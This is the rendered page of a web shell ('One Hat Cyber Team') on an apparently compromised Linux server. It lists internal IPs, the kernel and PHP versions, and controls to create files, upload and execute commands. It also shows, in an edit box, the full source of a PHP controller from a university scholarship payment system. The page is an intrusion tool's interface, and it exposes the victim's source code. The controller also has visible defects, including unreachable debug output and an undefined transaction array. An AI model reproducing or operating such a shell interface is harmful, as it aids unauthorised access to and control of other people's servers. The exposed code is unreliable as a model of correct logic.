⚝
One Hat Cyber Team
⚝
Your IP:
192.168.31.6
Server IP:
192.168.1.11
Server:
Linux pams 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
PHP Version:
8.2.28
Buat File
|
Buat Folder
Upload File
Eksekusi
Dir :
~
/
var
/
www
/
apik
/
modules
/
Beasiswa
/
Controllers
/
Edit File: Beasiswa.php
<?php namespace Modules\Beasiswa\Controllers; use App\Controllers\BaseController; use Ramsey\Uuid\Uuid; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Xlsx; use PhpOffice\PhpSpreadsheet\Style\Border; use PhpOffice\PhpSpreadsheet\Style\Color; use PhpOffice\PhpSpreadsheet\Style\Fill; use PhpOffice\PhpSpreadsheet\IOFactory; use PhpOffice\PhpSpreadsheet\Reader\Exception; class Beasiswa extends BaseController { public function index() { $data['title'] = 'Beasiswa'; $data['body'] = 'Modules\Beasiswa\Views\list.php'; $data['pembayaran'] = $this->db->table('pembayaran')->get()->getResult(); $data['table'] = $this->db->table('beasiswa b') ->select('b.*, p.nama as jp') ->join('pembayaran p', 'b.id_pembayaran = p.id_pembayaran') ->get()->getResult(); return view('template', $data); } public function detail($id){ $data['beasiswa'] = $this->db->table('beasiswa') ->select('beasiswa.*, pembayaran.nama as nama_pembayaran') ->join('pembayaran', 'beasiswa.id_pembayaran = pembayaran.id_pembayaran') ->where('id', enc($id)) ->get()->getRow(); $data['title'] = 'Beasiswa '.$data['beasiswa']->nama; $data['body'] = 'Modules\Beasiswa\Views\detail.php'; $data['table'] = $this->db->table('penerima_beasiswa pb') ->select('mhs.*, mhs.nama as nm_mhs, pb.id as id_p') ->join('mhs', 'pb.id_mhs = mhs.id') ->where('pb.id_beasiswa', enc($id)) ->get()->getResult(); if($data['table']){ $id_pembayaran = $data['beasiswa']->id_pembayaran; $filter_id_mhs = array_column($data['table'], 'id'); $transaksi = $this->db->table('transaksi') ->where('sumber_dana !=', '') ->where('id_pembayaran', $id_pembayaran) ->whereIn('id_mhs', $filter_id_mhs) ->select('id_mhs, smt, sum(jumlah) as jumlah') ->groupBy('id_mhs, smt') ->get()->getResult(); $data['transaksi'] = []; foreach ($transaksi as $k) { $data['transaksi'][$k->id_mhs][$k->smt] = $k->jumlah; } } return view('template', $data); echo '<pre>'; print_r($data['transaksi']); //print_r($transaksi); echo '</pre>'; } public function transaksi(){ $tgl = $this->request->getPost('tgl'); $id = $this->request->getPost('data_id'); $beasiswa = $this->db->table('beasiswa') ->select('beasiswa.*, pembayaran.nama as nama_pembayaran') ->join('pembayaran', 'beasiswa.id_pembayaran = pembayaran.id_pembayaran') ->where('id', $id) ->get()->getRow(); $penerima = $this->db->table('penerima_beasiswa pb') ->select('mhs.id, mhs.smt, mhs.jurusan') ->join('mhs', 'pb.id_mhs = mhs.id') ->where('pb.id_beasiswa', $id) ->where('mhs.smt !=', '') ->get()->getResult(); $id_pembayaran = $beasiswa->id_pembayaran; $filter_id_mhs = array_column($penerima, 'id'); if(!$penerima){ session()->setFlashData(gagal('Seluruh Penerima Beasiswa Berstatus Non Aktif')); return redirect()->back(); } foreach ($penerima as $k) { if(jenjang($k->jurusan) == "S2"){ if($k->smt > '4'){ continue; } }else{ if($k->smt > '8'){ continue; } } $status = $transaksi[$k->id][$k->smt] ?? 0; if($status == 0){ $id_transaksi = Uuid::uuid4()->toString(); $dataToInsert[] =[ 'id' => $id_transaksi, 'batch_id' => $id_transaksi, 'tgl' => $tgl, 'status' => '1', 'id_pembayaran' => $id_pembayaran, 'id_mhs' => $k->id, 'jumlah' => $beasiswa->jumlah, 'smt' => $k->smt, 'nama_admin' => session('nama'), 'sumber_dana' => $beasiswa->id, ]; $dataToApi[] = [ 'id_transaksi' => $id, 'batch_id' => $id, 'tgl' => $tgl, 'status' => '1', 'nama_pembayaran' => base64_encode($beasiswa->nama_pembayaran), 'id_mhs' => $k->id, 'jumlah' => $beasiswa->jumlah, 'smt' => $k->smt, 'nama_admin' => session('nama'), 'sumber_dana' => $beasiswa->id, 'jurusan' => $k->jurusan ]; } } if(isset($dataToInsert)){ if($this->db->table('transaksi')->insertBatch($dataToInsert)){ $url = link_api().'/api/insertTransaksiMhs'; $tr = json_decode(api_siak($url, $dataToApi), true); session()->setFlashData(success('Berhasil Menyimpan Data')); return redirect()->back(); }else{ session()->setFlashData(gagal('Masalah Koneksi Database')); return redirect()->back(); } }else{ session()->setFlashData(gagal('Semua Pencairan telah dilakukan')); return redirect()->back(); } echo '<pre>'; print_r($dataToInsert); echo '</pre>'; } public function hapusPenerima($id){ $this->db->table('penerima_beasiswa')->where('id', enc($id))->delete(); session()->setFlashData(success('Berhasil Mengapus Data' )); return redirect()->back(); } public function form($id){ $p = $this->db->table('beasiswa')->where('id', enc($id))->get()->getRow(); // 1. Inisialisasi Spreadsheet $spreadsheet = new Spreadsheet(); $sheet = $spreadsheet->getActiveSheet(); // ---------------------------------------------------- // A. JUDUL DAN METADATA // ---------------------------------------------------- // Judul: "Form Tagihan" $sheet->setCellValue('A1', 'FORM PENERIMA BEASISWA '.$p->nama); $sheet->mergeCells('A1:C1'); // Gabungkan sel untuk judul $sheet->getStyle('A1')->getFont()->setBold(true)->setSize(14); $sheet->getStyle('A1')->getAlignment()->setHorizontal(\PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_CENTER); // Metadata: ID $sheet->setCellValue('A3', 'ID'); $sheet->setCellValue('B3', $p->id); $sheet->getStyle('A3')->getFont()->setBold(true); $header = ['No', 'NIM', 'Nama']; $kolomMulai = 'A'; $barisMulai = 6; $barisAkhir = $barisMulai + 10; // Tulis Header foreach ($header as $key => $judul) { $kolom = chr(ord($kolomMulai) + $key); // A, B, C, D $sheet->setCellValue($kolom . $barisMulai, $judul); } $sheet->getColumnDimension('A')->setWidth(8); $sheet->getColumnDimension('B')->setWidth(20); $sheet->getColumnDimension('C')->setWidth(60); // Terapkan Styling pada Header $sheet->getStyle($kolomMulai . $barisMulai . ':' . $kolom . $barisMulai)->getFont()->setBold(true); $sheet->getStyle($kolomMulai . $barisMulai . ':' . $kolom . $barisMulai)->getAlignment()->setHorizontal(\PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_CENTER); // ---------------------------------------------------- // C. ISI DATA TABEL // ---------------------------------------------------- $row = $barisMulai + 1; // Mulai dari baris ke-7 (setelah header di baris 6) $no = 1; for ($i=$barisMulai; $i < $barisAkhir; $i++) { // Highlight baris data dengan warna kuning $sheet->getStyle('A' . $row . ':C' . $row)->getFill() ->setFillType(Fill::FILL_SOLID) ->getStartColor()->setARGB('FFFFFF00'); // Format Tagihan sebagai mata uang $sheet->getStyle('C' . $row)->getNumberFormat()->setFormatCode('#,##0'); $row++; } // ---------------------------------------------------- // D. TAMBAHKAN BORDER (Garis Tepi) untuk Tabel // ---------------------------------------------------- // Border di sekitar seluruh tabel (dari header hingga baris data terakhir) $styleArray = [ 'borders' => [ 'allBorders' => [ 'borderStyle' => Border::BORDER_THIN, 'color' => ['argb' => 'FF000000'], ], ], ]; // Terapkan border dari sel header A6 sampai sel data terakhir D[barisAkhir] $sheet->getStyle('A6:C' . $barisAkhir)->applyFromArray($styleArray); // ---------------------------------------------------- // E. PROSES UNDUH FILE // ---------------------------------------------------- $writer = new Xlsx($spreadsheet); $filename = 'FORM BEASISWA ' . $p->nama; // Nama file unduhan // Atur header untuk download file header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'); header('Content-Disposition: attachment;filename="' . $filename . '.xlsx"'); header('Cache-Control: max-age=0'); // Output file ke browser $writer->save('php://output'); exit; } public function addPenerima(){ $file = $this->request->getFile('file'); $p = $this->request->getPost(); if (!$file || !$file->isValid() || $file->hasMoved()) { // Cek apakah ada file yang diupload dan valid session()->setFlashData(gagal('Silakan pilih file Excel yang valid.')); return redirect()->back(); } // Cek ekstensi file $ext = $file->getClientExtension(); if ($ext !== 'xlsx' && $ext !== 'xls') { session()->setFlashData(gagal('Format file harus .xlsx atau .xls.')); return redirect()->back(); } $reader = IOFactory::createReaderForFile($file->getTempName()); try { // 3. Muat file ke objek Spreadsheet $spreadsheet = $reader->load($file->getTempName()); $sheet = $spreadsheet->getActiveSheet(); // Dapatkan baris terakhir yang memiliki data $highestRow = $sheet->getHighestRow(); $dataTagihan = []; // Asumsi: Data Tagihan dimulai dari BARIS ke-7 (setelah header di baris 6) $startRow = 7; $allNimsFromExcel = []; $id_beasiswa = $p['data_id']; $ta = $p['tahun_akademik']; for ($row = $startRow; $row <= $highestRow; $row++) { $nim = $sheet->getCell('B' . $row)->getValue(); if (!empty($nim)) { $allNimsFromExcel[] = (string) $nim; } } $uniqueNims = array_unique($allNimsFromExcel); // ⭐️ Jika tidak ada NIM, hentikan proses untuk efisiensi if (empty($uniqueNims)) { session()->setFlashData(gagal('Tidak ditemukan NIM dalam file')); return redirect()->back()->with('error', 'Tidak ditemukan NIM dalam file.'); } $existingUsers = $this->db->table('mhs')->select('nim, id') // Ambil kolom yang diperlukan saja ->whereIn('nim', $uniqueNims) ->get()->getResultArray(); // 3. Konversi hasil query menjadi array asosiatif (NIM sebagai key) $existingNimMap = []; foreach ($existingUsers as $user) { $existingNimMap[$user['nim']] = true; // Gunakan 'true' sebagai penanda keberadaan $id[$user['nim']]= $user['id']; } $hitung_input = 1; // Loop dari baris data pertama hingga baris terakhir for ($row = $startRow; $row <= $highestRow; $row++) { // Ambil data dari kolom yang sesuai: // Kolom B = NIM, Kolom C = Nama, Kolom D = Tagihan $nim = $sheet->getCell('B' . $row)->getValue(); $nama = $sheet->getCell('C' . $row)->getValue(); $tagihan = $sheet->getCell('D' . $row)->getValue(); $status = FALSE; // Status default $id_mhs = ''; // Cek jika NIM tidak kosong (untuk menghindari baris kosong di akhir) if (!empty($nim)) { // ⭐️ Cek ketersediaan di array massal (Sangat Cepat, tidak ada query database) if (isset($existingNimMap[$nim])) { $status = TRUE; $id_mhs = $id[$nim]; } $id_penerima = Uuid::uuid4()->toString(); $insert = [ 'id' => $id_penerima, 'id_mhs' => $id_mhs, 'id_beasiswa' => $id_beasiswa, 'ta' => $ta ]; $db = $this->db->table('penerima_beasiswa'); $cek = $db->where(['id_mhs' => $id_mhs, 'id_beasiswa' => $id_beasiswa])->get()->getRow(); if(!isset($cek->id)){ $db->insert($insert); $hitung_input++; } } } $jml_input = $hitung_input -1; session()->setFlashData(success('Berhasil Menginput '.$jml_input.' Data' )); return redirect()->back(); // Dapatkan Metadata jika diperlukan (misal: ID dan SMT) } catch (Exception $e) { // Tangani error jika file tidak bisa dibaca session()->setFlashData(gagal('Gagal membaca file Excel: ' . $e->getMessage())); return redirect()->back(); } } public function add(){ $p = $this->request->getPost(); $rules = [ 'nama' => [ 'label' => 'Nama', // Mengizinkan Huruf (A-z), Spasi, Titik (.), dan Koma (,) 'rules' => 'required|regex_match[/^[a-zA-Z0-9\s.,]*$/]|min_length[3]|max_length[100]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'regex_match' => '{field} hanya boleh berisi huruf, spasi, titik, atau koma.', // Pesan error baru 'min_length' => '{field} minimal {param} karakter.', 'max_length' => '{field} maksimal {param} karakter.', ], ], 'jenis_potongan' => [ 'label' => 'Jenis Potongan', 'rules' => 'required|in_list[1,2]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'in_list' => '{field} harus salah satu dari: super admin atau kasir.', ], ], 'jenis_pembayaran' => [ 'label' => 'Jenis pembayaran', 'rules' => 'required', 'errors' => [ 'required' => '{field} tidak boleh kosong.', ], ], 'jumlah' => [ 'label' => 'jumlah', // Mengizinkan Huruf (A-z), Spasi, Titik (.), dan Koma (,) 'rules' => 'required|integer|min_length[1]|max_length[100]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'integer' => '{field} hanya boleh berisi bilangan bulat (angka).', 'min_length' => '{field} minimal {param} karakter.', 'max_length' => '{field} maksimal {param} karakter.', ], ] ]; if (! $this->validateData($p,$rules)) { session()->setFlashData(gagal(form_error($this->validator->getErrors()))); return redirect()->to(base_url('beasiswa')); } $id = Uuid::uuid4()->toString(); $d = [ 'id' => $id, 'nama' => $p['nama'], 'jenis' => $p['jenis_potongan'], 'id_pembayaran' => $p['jenis_pembayaran'], 'jumlah' => $p['jumlah'], ]; if($this->db->table('beasiswa')->insert($d)){ session()->setFlashData(success('Berhasil Menyimpan Data')); return redirect('beasiswa'); }else{ session()->setFlashData(gagal('Masalah Koneksi Database')); return redirect('beasiswa'); } } public function edit(){ $p = $this->request->getPost(); $rules = [ 'nama' => [ 'label' => 'Nama', // Mengizinkan Huruf (A-z), Spasi, Titik (.), dan Koma (,) 'rules' => 'required|regex_match[/^[a-zA-Z0-9\s.,]*$/]|min_length[3]|max_length[100]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'regex_match' => '{field} hanya boleh berisi huruf, spasi, titik, atau koma.', // Pesan error baru 'min_length' => '{field} minimal {param} karakter.', 'max_length' => '{field} maksimal {param} karakter.', ], ], 'jenis_pembayaran' => [ 'label' => 'Jenis pembayaran', 'rules' => 'required', 'errors' => [ 'required' => '{field} tidak boleh kosong.', ], ], 'jenis_potongan' => [ 'label' => 'Jenis Potongan', 'rules' => 'required|in_list[1,2]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'in_list' => '{field} harus salah satu dari: super admin atau kasir.', ], ], 'jumlah' => [ 'label' => 'jumlah', // Mengizinkan Huruf (A-z), Spasi, Titik (.), dan Koma (,) 'rules' => 'required|integer|min_length[1]|max_length[100]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'integer' => '{field} hanya boleh berisi bilangan bulat (angka).', 'min_length' => '{field} minimal {param} karakter.', 'max_length' => '{field} maksimal {param} karakter.', ], ] ]; if (! $this->validateData($p,$rules)) { session()->setFlashData(gagal(form_error($this->validator->getErrors()))); return redirect()->to(base_url('beasiswa')); } $id = $p['data_id']; $d = [ 'nama' => $p['nama'], 'jenis' => $p['jenis_potongan'], 'id_pembayaran' => $p['jenis_pembayaran'], 'jumlah' => $p['jumlah'], ]; if($this->db->table('beasiswa')->where('id', enc($id))->update($d)){ session()->setFlashData(success('Berhasil Menyimpan Data')); return redirect('beasiswa'); }else{ session()->setFlashData(gagal('Masalah Koneksi Database')); return redirect('beasiswa'); } } public function delete($id = null){ if($this->db->table('beasiswa')->where('id', enc($id))->delete()){ session()->setFlashData(success('Berhasil Mengapus Data')); return redirect()->to(base_url('beasiswa')); }else{ session()->setFlashData(gagal('Masalah Koneksi Database')); return redirect()->to(base_url('beasiswa')); } } public function get($id = null){ $d = $this->db->table('beasiswa')->where('id', enc($id))->get()->getRow(); return json_encode($d); } }
Simpan